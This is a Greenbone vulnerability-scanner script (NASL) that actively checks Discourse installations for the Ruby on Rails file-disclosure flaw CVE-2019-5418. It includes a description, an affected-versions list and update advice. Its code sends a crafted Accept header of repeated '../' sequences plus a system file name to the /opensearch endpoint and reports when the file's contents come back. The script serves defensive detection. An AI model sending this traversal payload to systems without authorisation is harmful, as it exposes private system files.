Discourse 'CVE-2019-5418' LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:discourse:discourse";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108561");
  script_version("2025-08-07T05:44:51+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-5418", "CVE-2019-5419");
  script_tag(name:"last_modification", value:"2025-08-07 05:44:51 +0000 (Thu, 07 Aug 2025)");
  script_tag(name:"creation_date", value:"2019-03-17 11:11:44 +0100 (Sun, 17 Mar 2019)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-16 19:02:00 +0000 (Fri, 16 Oct 2020)");
  script_name("Discourse 'CVE-2019-5418' LFI Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_discourse_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("discourse/http/detected");

  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2019/03/13/5");
  script_xref(name:"URL", value:"https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q");
  script_xref(name:"URL", value:"https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/");
  script_xref(name:"URL", value:"https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715");

  script_tag(name:"summary", value:"Discourse is prone to a LFI (Local File Inclusion) vulnerability
  if the hosting system is running an outdated version of Ruby on Rails.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"impact", value:"An attacker might be able to read any file on the file system
  of the host system.");

  script_tag(name:"affected", value:"Discourse installations running a Ruby on Rails version prior
  to 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2 or 4.2.11.1.");

  script_tag(name:"solution", value:"Update the Ruby on Rails version to 6.0.0.beta3, 5.2.2.1,
  5.1.6.2, 5.0.7.2 or 4.2.11.1 or later.

  If this is not possible mitigations steps on how to update the affected code path of the
  application are provided in the references.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("list_array_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

files = traversal_files();
url = dir + "/opensearch";

foreach pattern( keys( files ) ) {

  file = files[pattern];
  accept = crap( data:"../", length:3*9 ) + file + "{";

  req = http_get_req( port:port, url:url, accept_header:accept );
  res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );

  if( line = egrep( string:res, pattern:pattern, icase:FALSE ) ) {

    info['HTTP Accept header'] = accept;
    info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

    report  = 'By doing a HTTP GET request with the following data:\n\n';
    report += text_format_table( array:info ) + '\n\n';
    report += 'it was possible to read the content of the local file "/' + file + '".';
    report += '\n\nResult: ' + line;

    expert_info += 'Request:\n'+ req + '\n\nResponse:\n' + res;
    security_message( port:port, data:report, expert_info:expert_info );
    exit( 0 );
  }
}

exit( 99 );